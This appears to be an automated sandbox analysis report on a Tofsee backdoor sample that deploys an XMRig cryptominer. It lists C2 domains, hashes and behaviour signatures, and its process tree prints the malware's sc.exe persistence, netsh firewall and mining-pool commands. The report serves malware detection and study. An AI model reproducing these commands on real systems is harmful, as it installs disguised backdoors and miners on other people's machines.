Analysis

  • max time kernel
    143s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    14/11/2022, 03:43

General

  • Target
    file.exe
  • Size 153KB
  • Sample221114-d9wt4sef39
  • SHA256 941a4c42bebbc3ac166fabd8030515df79c209079027103a20e617f29fe575c6
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:736
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hwcmcdeg\
      2⤵
        PID:1880
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\mgiqmgmf.exe" C:\Windows\SysWOW64\hwcmcdeg\
        2⤵
          PID:940
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hwcmcdeg binPath= "C:\Windows\SysWOW64\hwcmcdeg\mgiqmgmf.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1036
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description hwcmcdeg "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2028
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start hwcmcdeg
          2⤵
          • Launches sc.exe
          PID:1976
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1016
      • C:\Windows\SysWOW64\hwcmcdeg\mgiqmgmf.exe
        C:\Windows\SysWOW64\hwcmcdeg\mgiqmgmf.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1892
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1764
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1576

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            mgiqmgmf.exe

            • Path C:\Users\Admin\AppData\Local\Temp\mgiqmgmf.exe
            • Size 14.5MB
            • SHA256 cddf356ff0d6f254e8bf850693402f7403e8dc798517a1c190fe1099746e0b50
            • MD5 SHA1 SHA512 SSDEEP

            mgiqmgmf.exe

            • Path C:\Windows\SysWOW64\hwcmcdeg\mgiqmgmf.exe
            • Size 14.5MB
            • SHA256 cddf356ff0d6f254e8bf850693402f7403e8dc798517a1c190fe1099746e0b50
            • MD5 SHA1 SHA512 SSDEEP

            memory/736-71-0x0000000000400000-0x000000000058C000-memory.dmp

            memory/736-57-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/736-56-0x000000000067B000-0x000000000068C000-memory.dmp

            memory/736-58-0x0000000000400000-0x000000000058C000-memory.dmp

            memory/736-54-0x0000000076201000-0x0000000076203000-memory.dmp

            memory/736-69-0x000000000067B000-0x000000000068C000-memory.dmp

            memory/1576-99-0x0000000000220000-0x0000000000311000-memory.dmp

            memory/1576-101-0x0000000000220000-0x0000000000311000-memory.dmp

            memory/1764-79-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1764-92-0x0000000005900000-0x0000000005D0B000-memory.dmp

            memory/1764-98-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1764-95-0x00000000002C0000-0x00000000002C7000-memory.dmp

            memory/1764-66-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1764-80-0x0000000001940000-0x0000000001B4F000-memory.dmp

            memory/1764-83-0x00000000000A0000-0x00000000000A6000-memory.dmp

            memory/1764-86-0x00000000000F0000-0x0000000000100000-memory.dmp

            memory/1764-89-0x00000000002B0000-0x00000000002B5000-memory.dmp

            memory/1764-70-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1892-77-0x0000000000400000-0x000000000058C000-memory.dmp

            memory/1892-76-0x000000000073B000-0x000000000074C000-memory.dmp